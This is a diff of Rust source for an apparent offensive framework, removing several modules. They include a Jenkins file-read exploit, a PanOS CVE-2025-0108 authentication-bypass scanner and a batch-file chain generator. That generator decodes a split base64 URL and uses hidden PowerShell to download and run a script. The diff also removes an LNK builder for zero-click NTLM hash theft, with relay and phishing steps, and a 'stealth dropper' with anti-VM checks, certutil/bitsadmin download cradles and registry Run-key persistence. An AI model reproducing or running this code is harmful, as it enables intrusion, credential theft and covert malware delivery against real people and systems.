fn get_payload(filepath: &str) -> Vec<u8> {
let arg_operation = 0u8;
let start_operation = 3u8;
let command = get_payload_message(arg_operation, "connect-node");
let poisoned_argument = get_payload_message(arg_operation, &format!("@{}", filepath));
let mut payload = Vec::new();
payload.extend_from_slice(&command);
payload.extend_from_slice(&poisoned_argument);
payload.push(start_operation);
payload
}
/// Validates and normalizes file path, preventing path traversal attacks
fn make_path_absolute(filepath: &str) -> Result<String> {
let trimmed = filepath.trim();
// Basic validation - prevent obvious path traversal
if trimmed.contains("..") {
return Err(anyhow::anyhow!("Path traversal detected in file path"));
}
// Limit path length to prevent DoS
if trimmed.len() > 4096 {
return Err(anyhow::anyhow!("File path too long (max 4096 characters)"));
}
// Remove null bytes
if trimmed.contains('\0') {
return Err(anyhow::anyhow!("Null bytes not allowed in file path"));
}
if trimmed.starts_with('/') {
Ok(trimmed.to_string())
} else {
Ok(format!("/proc/self/cwd/{}", trimmed))
}
}
pub async fn run(args: &str) -> Result<()> {
let parts: Vec<&str> = args.split_whitespace().collect();
if parts.is_empty() {
bail!("Usage: <url> [filepath]\nExample: http://example.com/ /etc/passwd");
}
let normalized_base = normalize_target(parts[0])?;
let url = format!("{}/cli", normalized_base.trim_end_matches('/'));
let filepath = parts.get(1).map(|s| s.to_string());
let identifier = Uuid::new_v4().to_string();
println!("{}", format!("[*] Target: {}", url).cyan().bold());
println!("{}", format!("[*] Session ID: {}", identifier).cyan());
let state = ExploitState::new(url, identifier)
.context("Failed to initialize exploit state")?;
if let Some(path) = filepath {
let absolute_path = make_path_absolute(&path)
.context("Invalid file path provided")?;
println!("{}", format!("[*] Reading file: {}", &absolute_path).cyan());
match state.read_file(&absolute_path).await {
Ok(_) => println!("{}", "[+] File read complete".green().bold()),
Err(e) => {
if e.to_string().contains("timeout") {
println!("{}", "[-] Payload request timed out.".red());
} else {
println!("{}", format!("[-] Error: {}", e).red());
}
}
}
} else {
match start_interactive_file_read(state).await {
Ok(_) => {}
Err(e) => {
if !e.to_string().contains("Interrupted") {
eprintln!("Error: {}", e);
}
}
}
println!("\n{}", "Quitting".yellow());
}
Ok(())
}
async fn start_interactive_file_read(state: ExploitState) -> Result<()> {
println!("{}", "Press Ctrl+C to exit".cyan());
let mut stdin_reader = tokio::io::BufReader::new(tokio::io::stdin());
loop {
print!("{}", "File to download:\n> ".green().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
match stdin_reader.read_line(&mut input).await {
Ok(0) => break,
Ok(_) => {
let filepath = input.trim();
if filepath.is_empty() {
continue;
}
let absolute_path = match make_path_absolute(filepath) {
Ok(path) => path,
Err(e) => {
println!("{}", format!("[-] Invalid file path: {}", e).red());
continue;
}
};
match state.read_file(&absolute_path).await {
Ok(_) => {}
Err(e) => {
if e.to_string().contains("timeout") {
println!("{}", "Payload request timed out.".yellow());
} else {
println!("{}", format!("Error: {}", e).red());
}
}
}
}
Err(e) => {
eprintln!("Error reading input: {}", e);
break;
}
}
}
Ok(())
}
-1
View File
@@ -1 +0,0 @@
pub mod jenkins_2_441_lfi;
-21
View File
@@ -1,21 +0,0 @@
pub mod generic;
pub mod sample_exploit;
pub mod payloadgens;
pub mod tplink;
pub mod ssh;
pub mod spotube;
pub mod ftp;
pub mod zabbix;
pub mod abus;
pub mod uniview;
pub mod avtech;
pub mod acti;
pub mod zte;
pub mod ivanti;
pub mod apache_tomcat;
pub mod palo_alto;
pub mod roundcube;
pub mod flowise;
pub mod http2;
pub mod jenkins;
pub mod react;
-1
View File
@@ -1 +0,0 @@
pub mod panos_authbypass_cve_2025_0108;
@@ -1,287 +0,0 @@
//! PanOS Authentication Bypass - CVE-2025-0108
//!
//! This module exploits an authentication bypass vulnerability in Palo Alto Networks
//! PanOS that allows unauthenticated access to administrative functions.
//!
//! ## Vulnerability Details
//! - **CVE**: CVE-2025-0108
//! - **Affected Products**: Palo Alto Networks PanOS
//! - **Attack Vector**: Path traversal in authentication mechanism
//! - **Impact**: Authentication bypass, unauthorized access
//!
//! ## Usage
//! ```bash
//! run exploit palo_alto/panos_authbypass_cve_2025_0108 <target>
//! ```
//!
//! Supports single target or file-based target list (`.txt` file).
//!
//! ## Security Notes
//! - Proper target normalization handles IPv4, IPv6, and URLs
//! - Input validation prevents injection attacks
//! - Error handling with proper context messages
//!
//! For authorized penetration testing only.
//!
//! Original Author: iSee857
//! Ported to Rust for RustSploit framework
use anyhow::{Context, Result};
use colored::*;
use crate::utils::validate_file_path;
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
use reqwest::Client;
use std::{
fs::File,
io::{BufRead, BufReader},
process::Command,
time::Duration,
};
use url::Url;
/// Displays module banner
fn banner() {
println!(
"{}",
r#"
****************************************************
* CVE-2025-0108 *
* PanOs *
* : iSee857 *
****************************************************
"#
.cyan()
);
}
/// Reads target list from file
fn read_file(file_path: &str) -> Result<Vec<String>> {
// Validate file path to prevent traversal attacks
let validated_path = validate_file_path(file_path, true)
.map_err(|e| anyhow::anyhow!("Invalid file path: {}", e))?;
let file = File::open(&validated_path)
.with_context(|| format!("Failed to open file: {}", validated_path))?;
let reader = BufReader::new(file);
let urls: Vec<String> = reader
.lines()
.filter_map(|line| {
let line = line.ok()?;
let trimmed = line.trim();
if trimmed.is_empty() || trimmed.starts_with('#') {
None
} else {
Some(trimmed.to_string())
}
})
.collect();
Ok(urls)
}
/// Normalize IPv6 host with brackets
fn normalize_ipv6_host(host: &str) -> String {
let stripped = host.trim_matches(|c| c == '[' || c == ']');
if stripped.contains(':') {
format!("[{}]", stripped)
} else {
stripped.to_string()
}
}
/// Extract host and port from target string
fn parse_target(target: &str) -> Result<(String, u16)> {
let target = target.trim();
// Try to parse as URL first
if let Ok(url) = Url::parse(target) {
if let Some(host) = url.host_str() {
let port = url.port().unwrap_or(443);
return Ok((host.to_string(), port));
}
}
// Handle IPv6 addresses in brackets [::1]:8080
if target.starts_with('[') {
if let Some(bracket_end) = target.find(']') {
let host = target[1..bracket_end].to_string();
let rest = &target[bracket_end + 1..];
if rest.starts_with(':') {
let port = rest[1..].parse::<u16>()
.context("Invalid port number")?;
return Ok((host, port));
} else if rest.is_empty() {
return Ok((host, 443));
}
}
}
// Handle regular host:port or IPv4:port
if let Some(colon_pos) = target.rfind(':') {
// Check if it's an IPv6 address without brackets
let before_colon = &target[..colon_pos];
if before_colon.contains(':') {
// It's IPv6 without brackets, default port
return Ok((target.to_string(), 443));
}
let host = target[..colon_pos].to_string();
let port = target[colon_pos + 1..].parse::<u16>()
.context("Invalid port number")?;
Ok((host, port))
} else {
Ok((target.to_string(), 443))
}
}
/// Constructs the full normalized URL
fn build_url(host: &str, port: u16, proto: &str, path: &str) -> Result<String> {
let host_normalized = normalize_ipv6_host(host);
// Build URL string
let url_str = if host_normalized.starts_with('[') {
// IPv6 with brackets
format!("{}[{}]:{}{}", proto, &host_normalized[1..host_normalized.len()-1], port, path)
} else {
// IPv4 or hostname
format!("{}{}:{}{}", proto, host_normalized, port, path)
};
// Validate URL
Url::parse(&url_str)
.with_context(|| format!("Invalid URL format: {}", url_str))
.map(|u| u.to_string())
}
/// Opens a URL in the default system browser
fn open_browser(url: &str) -> Result<()> {
#[cfg(target_os = "linux")]
{
Command::new("xdg-open")
.arg(url)
.spawn()
.context("Failed to open browser with xdg-open")?;
}
#[cfg(target_os = "windows")]
{
Command::new("cmd")
.args(["/C", "start", url])
.spawn()
.context("Failed to open browser with cmd")?;
}
#[cfg(target_os = "macos")]
{
Command::new("open")
.arg(url)
.spawn()
.context("Failed to open browser with open")?;
}
#[cfg(not(any(target_os = "linux", target_os = "windows", target_os = "macos")))]
{
return Err(anyhow::anyhow!("Browser opening not supported on this platform"));
}
Ok(())
}
/// Executes CVE-2025-0108 check
async fn check(host: &str, port: u16, client: &Client) -> Result<bool> {
let protocols = ["http://", "https://"];
let path = "/unauth/%252e%252e/php/ztp_gate.php/PAN_help/x.css";
for proto in &protocols {
match build_url(host, port, proto, path) {
Ok(full_url) => {
println!("{}", format!("[*] Testing: {}", full_url).yellow());
match client.get(&full_url).send().await {
Ok(res) => {
let status = res.status();
let body = res.text().await.unwrap_or_default();
if status.as_u16() == 200 && body.contains("Zero Touch Provisioning") {
println!(
"{}",
format!("[+] Find: {}:{} PanOS_CVE-2025-0108_LoginByPass!", host, port)
.green()
.bold()
);
println!("{}", format!("[*] Vulnerable URL: {}", full_url).cyan());
if let Err(e) = open_browser(&full_url) {
println!("{}", format!("[!] Warning: Could not open browser: {}", e).yellow());
}
return Ok(true);
} else {
println!(
"{}",
format!("[-] Not vulnerable: {}:{} - Response code: {}", host, port, status.as_u16())
.red()
);
}
}
Err(e) => {
println!(
"{}",
format!("[-] Error connecting to {}:{} - {}", host, port, e).red()
);
}
}
}
Err(e) => {
println!(
"{}",
format!("[-] Failed to build URL for {}:{} - {}", host, port, e).red()
);
}
}
}
Ok(false)
}
/// Main entry point for auto-dispatch system
pub async fn run(target: &str) -> Result<()> {
banner();
let client = Client::builder()
.timeout(Duration::from_secs(10))
.danger_accept_invalid_certs(true)
.build()
.context("Failed to create HTTP client")?;
if target.ends_with(".txt") {
let urls = read_file(target)?;
if urls.is_empty() {
return Err(anyhow::anyhow!("No URLs found in file: {}", target));
}
println!("{}", format!("[*] Loaded {} URLs from file", urls.len()).yellow());
let mut vulnerable_count = 0;
for url in urls {
let (host, port) = parse_target(&url)?;
if check(&host, port, &client).await? {
vulnerable_count += 1;
}
}
println!("{}", format!("[*] Scan completed. Found {} vulnerable target(s)", vulnerable_count).cyan());
} else {
let (host, default_port) = parse_target(target)?;
let mut port_input = String::new();
print!("{}", format!("Enter target port (default {}): ", default_port).cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut port_input)
.await
.context("Failed to read port input")?;
let port: u16 = port_input.trim().parse().unwrap_or(default_port);
let _ = check(&host, port, &client).await?;
}
Ok(())
}
-158
View File
@@ -1,158 +0,0 @@
use anyhow::{Result, Context};
use colored::*;
use crate::utils::{validate_file_path, validate_url};
use rand::{seq::SliceRandom, rng};
use std::{
fs,
path::Path,
};
use base64::{engine::general_purpose::STANDARD as BASE64_STANDARD, Engine as _};
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
async fn prompt(prompt: &str) -> Result<String> {
print!("{}", prompt.cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut buffer = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut buffer)
.await
.context("Failed to read input")?;
Ok(buffer.trim().to_string())
}
fn base64_split_encode(url: &str) -> (String, String) {
let mid = url.len() / 2;
let (first, second) = url.split_at(mid);
let first_encoded = BASE64_STANDARD.encode(first);
let second_encoded = BASE64_STANDARD.encode(second);
(first_encoded, second_encoded)
}
fn write_payload_chain(stage1_path: &str, url: &str, output_ps1: &str) -> Result<()> {
let mut symbols = vec![
"测试", "測試", "例え", "例子", "示例", "示意", "探索", "神秘",
"", "", "", "", "", "", "", "", "", "✈✂", "📌", "🎴", "項目", "数据", "样本", "分析",
];
let mut rng = rng();
symbols.shuffle(&mut rng);
let s2 = symbols[0].to_string();
let s3 = symbols[1].to_string();
let s4 = symbols[2].to_string();
let _f1 = symbols[3].to_string();
let _f2 = symbols[4].to_string();
let _f3 = symbols[5].to_string();
let base = Path::new(stage1_path).parent().unwrap_or_else(|| Path::new("."));
let _stage1 = Path::new(stage1_path);
let _stage2 = base.join(format!("{s2}.bat"));
let _stage3 = base.join(format!("{s3}.bat"));
let _stage4 = base.join(format!("{s4}.bat"));
// Encode URL
let (part1_b64, part2_b64) = base64_split_encode(url);
// === Stage 1: writes stage2.bat ===
let stage1_contents = format!(
r#"@echo off
setlocal EnableDelayedExpansion
cls >nul
:: Sleep random 1-4 seconds
set /a RND=1+%RANDOM%%%4
timeout /t %RND% /nobreak >nul
:: Five explicit 1-second sleeps at stage 1
timeout /t 1 /nobreak >nul
timeout /t 1 /nobreak >nul
timeout /t 1 /nobreak >nul
timeout /t 1 /nobreak >nul
timeout /t 1 /nobreak >nul
echo Creating next stage...
(
echo @echo off
echo setlocal EnableDelayedExpansion
echo cls ^>nul
echo set /a RND=1+%%RANDOM%%%%4
echo timeout /t %%RND%% /nobreak ^>nul
:: Five explicit 1-second sleeps for stage 2
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo echo Creating next stage...
echo (
echo @echo off
echo setlocal EnableDelayedExpansion
echo cls ^>nul
echo set /a RND=1+%%RANDOM%%%%4
echo timeout /t %%RND%% /nobreak ^>nul
:: Five explicit 1-second sleeps for stage 3
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo echo Creating final stage...
echo (
echo @echo off
echo setlocal EnableDelayedExpansion
echo cls ^>nul
echo set /a RND=1+%%RANDOM%%%%4
echo timeout /t %%RND%% /nobreak ^>nul
echo set part1={part1_b64}
echo set part2={part2_b64}
echo powershell -WindowStyle Hidden -Command ^^"
echo $p1 = $env:part1;
echo $p2 = $env:part2;
echo $u = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($p1)) + [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($p2));
echo Invoke-WebRequest -Uri $u -OutFile '{output_ps1}';
echo Start-Process -WindowStyle Hidden powershell -ArgumentList '-ExecutionPolicy Bypass -File {output_ps1}';
echo ^^"
echo exit
echo ) > "{s4}"
echo timeout /t 600 /nobreak ^>nul :: Wait 10 minutes before stage 4
echo start "" /B "{s4}" :: Launch stage 4 in background
echo exit
echo ) > "{s3}"
echo start "" /B "{s3}" :: Launch stage 3 in background
echo exit
) > "{s2}"
start "" /B "{s2}" :: Launch stage 2 in background
exit
"#);
fs::write(_stage1, stage1_contents)?;
Ok(())
}
pub async fn run(target: &str) -> Result<()> {
println!("{}", format!("[*] Target context: {}", if target.is_empty() { "local" } else { target }).dimmed());
let stage1_name = prompt("[+] Output BAT filename (stage 1): ").await?;
let github_url = prompt("[+] GitHub raw URL of PowerShell script: ").await?;
let ps1_output = prompt("[+] Name to save .ps1 as on victim: ").await?;
// Validate inputs
let validated_stage1 = validate_file_path(&stage1_name, true)
.map_err(|e| anyhow::anyhow!("Invalid BAT filename: {}", e))?;
let validated_url = validate_url(&github_url, Some(&["http", "https"]))
.map_err(|e| anyhow::anyhow!("Invalid GitHub URL: {}", e))?;
let validated_ps1 = validate_file_path(&ps1_output, false)
.map_err(|e| anyhow::anyhow!("Invalid .ps1 filename: {}", e))?;
write_payload_chain(&validated_stage1, &validated_url, &validated_ps1)?;
println!("[+] Stage 1 payload written to {stage1_name}");
println!("[*] Chain will execute real .bat files one after the other with random jitter.");
Ok(())
}
-240
View File
@@ -1,240 +0,0 @@
use anyhow::{anyhow, Result, Context};
use colored::*;
use crate::utils::validate_file_path;
use std::{
fs::File,
io::Write,
path::Path,
};
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
/// Windows File Explorer Zero Click NTLMv2-SSP Hash Disclosure (CVE-2025-50154, CVE-2025-59214)
///
/// Creates malicious LNK files that trigger SMB NTLM hash disclosure without user interaction.
/// This bypasses the original CVE-2025-50154 patch by using local icons with remote targets.
///
/// References:
/// - https://www.cymulate.com/research-blog/zero-click-one-ntlm-microsoft-security-patch-bypass-cve-2025-50154/
/// - https://www.cymulate.com/research-blog/patched-twice-still-bypassed-new-ntlm-leak-cve-2025-50154-patch-bypass/
const BANNER: &str = r#"
CVE-2025-50154 CVE-2025-59214
"#;
async fn prompt(prompt: &str) -> Result<String> {
print!("{}", prompt.cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut buffer = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut buffer)
.await
.context("Failed to read input")?;
Ok(buffer.trim().to_string())
}
/// Create a malicious LNK file that triggers NTLM hash disclosure
/// Uses local icon (shell32.dll) but remote target to bypass CVE-2025-50154 patch
///
/// This implementation creates a proper LNK file structure that Windows Explorer
/// will recognize and attempt to render the icon from the remote SMB path.
fn create_malicious_lnk(output_path: &Path, smb_ip: &str, smb_share: &str, smb_file: &str) -> Result<()> {
// Build the target path: \\IP\SHARE\FILE
let target_path = format!("\\\\{}\\{}", smb_ip, smb_share);
let target_file = format!("{}\\{}", target_path, smb_file);
// Use local shell32.dll icon (this is the key to bypass the patch)
let icon_location = "%SystemRoot%\\System32\\SHELL32.dll";
// For cross-platform compatibility, we'll try to use the Windows API if available
// Otherwise, create a minimal LNK structure that should work
// We use manual LNK creation ensures we generate the exact structure needed
// for this exploit (local icon + remote target) regardless of the host OS.
// Using Windows APIs (IShellLink) might attempt to resolve the target path,
// which we specifically want to avoid until the victim clicks it.
create_lnk_manual(output_path, &target_file, &icon_location)
}
/// Manual LNK file creation with proper structure
fn create_lnk_manual(output_path: &Path, target_path: &str, icon_location: &str) -> Result<()> {
let mut lnk_data = Vec::new();
// LNK Header (76 bytes)
// HeaderSize: 0x0000004C (76 bytes)
lnk_data.extend_from_slice(&0x4C_u32.to_le_bytes());
// LinkCLSID: 00021401-0000-0000-C000-000000000046
lnk_data.extend_from_slice(&[
0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00,
0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46
]);
// LinkFlags: HasTargetIDList | HasLinkInfo | HasName | HasRelativePath |
// HasWorkingDir | HasIconLocation | IsUnicode | HasExpString |
// RunInSeparateProcess | HasIconLocation
let link_flags = 0x0000009B_u32; // Basic flags for our use case
lnk_data.extend_from_slice(&link_flags.to_le_bytes());
// FileAttributes: FILE_ATTRIBUTE_NORMAL
lnk_data.extend_from_slice(&0x00000020_u32.to_le_bytes());
// CreationTime, AccessTime, WriteTime (24 bytes of zeros)
lnk_data.extend_from_slice(&[0u8; 24]);
// FileSize (4 bytes) - 0 for network paths
lnk_data.extend_from_slice(&0u32.to_le_bytes());
// IconIndex (4 bytes)
lnk_data.extend_from_slice(&0u32.to_le_bytes());
// ShowCommand: SW_SHOWNORMAL
lnk_data.extend_from_slice(&0x00000001_u32.to_le_bytes());
// HotKey (2 bytes)
lnk_data.extend_from_slice(&[0u8; 2]);
// Reserved (10 bytes)
lnk_data.extend_from_slice(&[0u8; 10]);
// Add minimal LinkTargetIDList (empty for simplicity)
// IDListSize: 0x0002 (empty list)
lnk_data.extend_from_slice(&0x02_u16.to_le_bytes());
// Add StringData section
// TARGET_PATH
let target_path_utf16: Vec<u16> = target_path.encode_utf16().collect();
lnk_data.extend_from_slice(&((target_path_utf16.len() * 2) as u16).to_le_bytes());
for &c in &target_path_utf16 {
lnk_data.extend_from_slice(&c.to_le_bytes());
}
// ICON_LOCATION
let icon_utf16: Vec<u16> = icon_location.encode_utf16().collect();
lnk_data.extend_from_slice(&((icon_utf16.len() * 2) as u16).to_le_bytes());
for &c in &icon_utf16 {
lnk_data.extend_from_slice(&c.to_le_bytes());
}
// Write the LNK file
let mut file = File::create(output_path)
.with_context(|| format!("Failed to create LNK file at {}", output_path.display()))?;
file.write_all(&lnk_data)
.with_context(|| format!("Failed to write LNK data to {}", output_path.display()))?;
Ok(())
}
pub async fn run(_target: &str) -> Result<()> {
println!("{}", BANNER.red().bold());
println!("{}", "\n🩸 Windows File Explorer Zero Click NTLMv2-SSP Hash Disclosure".red().bold());
println!("{}", "CVE-2025-50154 / CVE-2025-59214 Patch Bypass".yellow());
println!();
println!("{}", "This module creates malicious LNK shortcut files that trigger NTLMv2-SSP hash disclosure.".dimmed());
println!("{}", "The vulnerability bypasses the original CVE-2025-50154 patch by using local default icons".dimmed());
println!("{}", "while pointing to remote SMB-hosted PE files, forcing Explorer to fetch icons.".dimmed());
println!();
println!("{}", "📋 Technical Details:".cyan().bold());
println!(" • Uses SHELL32.dll as local icon source");
println!(" • Target points to \\\\IP\\SHARE\\FILE");
println!(" • Explorer fetches PE icon resources remotely");
println!(" • Zero-click: triggers on file browse/preview");
println!();
// Get parameters
let output_path = prompt("[+] Local path to save LNK file (e.g., C:\\Users\\User\\Desktop): ").await?;
let smb_ip = prompt("[+] SMB server IP address or hostname: ").await?;
let smb_share = prompt("[+] SMB share name: ").await?;
let smb_file = prompt("[+] Remote binary filename (e.g., payload.exe): ").await?;
// Validate file paths to prevent traversal attacks
let validated_output_path = validate_file_path(&output_path, true)
.map_err(|e| anyhow!("Invalid output path: {}", e))?;
// Validate IP
if smb_ip.trim().is_empty() {
return Err(anyhow!("SMB IP address cannot be empty"));
}
// Validate share (basic check for path traversal)
if smb_share.trim().is_empty() {
return Err(anyhow!("SMB share name cannot be empty"));
}
if smb_share.contains("..") || smb_share.contains("//") {
return Err(anyhow!("SMB share name contains invalid characters"));
}
// Validate file (basic check for path traversal)
if smb_file.trim().is_empty() {
return Err(anyhow!("Remote filename cannot be empty"));
}
if smb_file.contains("..") || smb_file.contains("//") {
return Err(anyhow!("Remote filename contains invalid characters"));
}
// Create output path
let output_dir = Path::new(&validated_output_path);
if !output_dir.exists() {
return Err(anyhow!("Output directory '{}' does not exist", validated_output_path));
}
let lnk_filename = format!("{}.lnk", smb_file.trim_end_matches(".exe"));
let lnk_path = output_dir.join(lnk_filename);
// Build target info
let target_path = format!("\\\\{}\\{}", smb_ip, smb_share);
let full_target = format!("{}\\{}", target_path, smb_file);
println!();
println!("{}", "📋 Configuration Summary:".cyan().bold());
println!(" Output LNK: {}", lnk_path.display());
println!(" Target Path: {}", full_target);
println!(" Icon Source: C:\\Windows\\System32\\SHELL32.dll (local)");
println!();
// Create the malicious LNK file
println!("{}", "[*] Creating malicious LNK file...".yellow());
create_malicious_lnk(&lnk_path, &smb_ip, &smb_share, &smb_file)?;
println!("{}", format!("✅ Malicious LNK file created: {}", lnk_path.display()).green().bold());
println!();
println!("{}", "🎯 Usage Instructions:".cyan().bold());
println!(" 1. Start SMB server on attacker machine:");
println!(" impacket-smbserver {} . -smb2support", smb_share);
println!(" (Ensure {} exists in current directory)", smb_file);
println!();
println!(" 2. Start NTLM capture (Responder/Impacket):");
println!(" responder -I eth0 -v");
println!(" or: impacket-ntlmrelayx -t ldap://dc.domain.com --dump-laps");
println!();
println!(" 3. Deploy LNK file to victim:");
println!(" • Email attachment");
println!(" • Malicious download");
println!(" • USB drive drop");
println!(" • SMB share access");
println!();
println!(" 4. Victim interaction: NONE REQUIRED");
println!(" • Hash captured when Explorer renders icon");
println!(" • Triggers on folder browse or thumbnail view");
println!();
println!("{}", "🔍 Detection Notes:".yellow().bold());
println!(" • Bypasses CVE-2025-50154 original patch");
println!(" • Works with CVE-2025-59214 (patch bypass)");
println!(" • Local icon + Remote target = Icon fetch");
println!(" • PE file must have valid RT_ICON resources");
Ok(())
}
-4
View File
@@ -1,4 +0,0 @@
pub mod narutto_dropper;
pub mod batgen;
pub mod lnkgen;
pub mod payload_encoder;
@@ -1,410 +0,0 @@
// == Poly-morphic, 3-Stage, Chain-Linked Stealth Dropper (Refactored) ==
// Supports LOLBAS (Certutil, Bitsadmin, PowerShell) and enhanced Anti-VM
use anyhow::Result;
use colored::*;
use rand::{rng, seq::SliceRandom, seq::IndexedRandom, Rng};
use std::collections::HashMap;
use tokio::fs::File as TokioFile;
use tokio::io::{AsyncWriteExt, AsyncBufReadExt};
// ==============================================================================
// Constants & Configuration
// ==============================================================================
const BANNERS: &[&str] = &[
"System Diagnostic Utility",
"Network Integrity Verifier",
"Administrative Maintenance Tool",
"Security Compliance Scanner",
"Update Pre-Flight Check",
];
const DECOY_FILES: &[&str] = &[
"readme_v2.txt", "compliance_policy.pdf", "sys_log_2024.csv",
"audit_results.html", "patch_notes.rtf", "error_log.xml",
];
#[derive(Debug, Clone, Copy, PartialEq)]
pub enum DownloadMethod {
PowerShell,
Certutil,
Bitsadmin,
}
impl DownloadMethod {
fn from_str(s: &str) -> Option<Self> {
match s.to_lowercase().as_str() {
"ps" | "powershell" => Some(Self::PowerShell),
"cert" | "certutil" => Some(Self::Certutil),
"bits" | "bitsadmin" => Some(Self::Bitsadmin),
_ => None,
}
}
fn options() -> &'static str {
"PowerShell [default], Certutil, Bitsadmin"
}
}
// ==============================================================================
// Context & Obfuscation
// ==============================================================================
struct DropperContext {
vars: HashMap<String, String>,
}
impl DropperContext {
fn new() -> Self {
Self {
vars: HashMap::new(),
}
}
/// Get or create a random variable name for the given key
fn get(&mut self, key: &str) -> String {
if let Some(val) = self.vars.get(key) {
val.clone()
} else {
let new_val = self.rand_var_name();
self.vars.insert(key.to_string(), new_val.clone());
new_val
}
}
fn rand_var_name(&self) -> String {
let mut rng = rng();
let charset: Vec<char> = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".chars().collect();
let mut name = String::with_capacity(8);
// Prefix with 3 random letters
for _ in 0..3 {
name.push(*charset.choose(&mut rng).unwrap());
}
// Add random number suffix
name.push('_');
name.push_str(&rng.random_range(1000..9999).to_string());
name
}
}
// ==============================================================================
// Stage Builders
// ==============================================================================
/// Generates the Anti-VM / Anti-Sandbox checks
fn build_anti_vm(ctx: &mut DropperContext) -> String {
let uptime = ctx.get("uptime");
let boot = ctx.get("boot");
let now = ctx.get("now");
let ram = ctx.get("ram");
let ram_val = ctx.get("ram_val");
format!(r#"
REM [ Check 1: Uptime & Boot Time ]
set "{uptime}=0"
for /f "skip=1" %%U in ('wmic os get LastBootUpTime ^| findstr /r /c:"^[0-9]"') do set "{uptime}=%%U"
set "{boot}=%{uptime}:~0,8%"
REM Get current time for calc (simplified)
for /f "tokens=2 delims==." %%I in ('wmic OS Get LocalDateTime /value ^| findstr =') do set "{now}=%%I"
REM [ Check 2: RAM Size ]
for /f "tokens=2 delims==" %%R in ('wmic ComputerSystem get TotalPhysicalMemory /value ^| findstr =') do set "{ram}=%%R"
REM Convert to MB (approx div by 1048576)
set /a "{ram_val}=(!{ram}:~0,-3!)/1024"
if !{ram_val}! LSS 2000 (
echo [*] System resources verification failed (Code: 0x1002).
ping -n 120 127.0.0.1 >nul
)
REM [ Check 3: Virtualization Artifacts ]
set "artifacts=VBOX VMWARE QEMU XEN VIRTUAL"
for %%X in (%artifacts%) do (
wmic computersystem get model /format:list | findstr /I "%%X" >nul
if not errorlevel 1 (
echo [*] Environment restricted. Pausing execution.
ping -n 300 127.0.0.1 >nul
)
)
"#,
uptime=uptime, boot=boot, now=now, ram=ram, ram_val=ram_val
)
}
/// Generates the download command based on the selected method
fn build_downloader(method: DownloadMethod, url: &str, outfile: &str) -> String {
match method {
DownloadMethod::PowerShell => format!(
"powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command \"try {{ [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri '{url}' -OutFile '{outfile}' -UseBasicParsing }} catch {{ exit 1 }}\""
),
DownloadMethod::Certutil => format!(
"certutil -urlcache -split -f \"{url}\" \"{outfile}\" >nul 2>&1 && certutil -urlcache -split -f \"{url}\" delete >nul 2>&1"
),
DownloadMethod::Bitsadmin => format!(
"bitsadmin /transfer \"SystemUpdate_{rnd}\" /priority FOREGROUND \"{url}\" \"%CD%\\{outfile}\" >nul",
rnd = rng().random_range(1000..9999)
),
}
}
/// Stage 3: Persistence & Execution
fn build_stage3(ctx: &mut DropperContext, ps1_name: &str) -> String {
let reg_name = ctx.get("reg_persist");
let antivm = build_anti_vm(ctx);
format!(r#"
@echo off
setlocal enabledelayedexpansion
REM == Phase 3: Verification & Setup ==
{antivm}
REM == Persistence ==
set "persist_path=HKCU\Software\Microsoft\Windows\CurrentVersion\Run"
reg query "%persist_path%" /v "{reg_name}" >nul 2>&1
if errorlevel 1 (
reg add "%persist_path%" /v "{reg_name}" /t REG_SZ /d "cmd /c start /min \"\" \"%%~dp0{ps1_name}\"" /f >nul
)
REM == Execute Payload ==
echo [*] Starting background service...
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File "%%~dp0{ps1_name}" >nul 2>&1
exit
"#,
antivm=antivm, reg_name=reg_name, ps1_name=ps1_name
)
}
/// Stage 2: Downloader
fn build_stage2(ctx: &mut DropperContext, method: DownloadMethod, url: &str, ps1_name: &str, stage3_name: &str) -> String {
let antivm = build_anti_vm(ctx);
let downloader = build_downloader(method, url, ps1_name);
let stage3_content = build_stage3(ctx, ps1_name);
let s3_var = ctx.get("s3_file");
// We embed Stage 3 as a self-extracting part of Stage 2
let mut script = format!(r#"
@echo off
setlocal enabledelayedexpansion
REM == Phase 2: Component Acquisition ==
{antivm}
REM == Download Payload ==
{downloader}
if not exist "{ps1_name}" (
echo [!] Critical component missing. Aborting.
exit /b 1
)
REM == Extract Stage 3 ==
set "{s3_var}=%~dp0{stage3_name}"
(
"#,
antivm=antivm, downloader=downloader, ps1_name=ps1_name, s3_var=s3_var, stage3_name=stage3_name
);
// Escape and write Stage 3 content
for line in stage3_content.lines() {
if !line.trim().is_empty() {
script.push_str(&format!(" echo {}\n", line.replace("%", "%%")));
} else {
script.push('\n');
}
}
script.push_str(&format!(r#"
) > "%{s3_var}%"
REM == Handoff to Stage 3 ==
call "%{s3_var}%"
exit
"#,
s3_var=s3_var));
script
}
/// Stage 1: Dropper Entry Point
fn build_stage1(
ctx: &mut DropperContext,
method: DownloadMethod,
url_payload: &str,
decoy_urls: &[&str],
ps1_name: &str,
stage2_name: &str,
stage3_name: &str
) -> String {
let batch_var = ctx.get("diag_id");
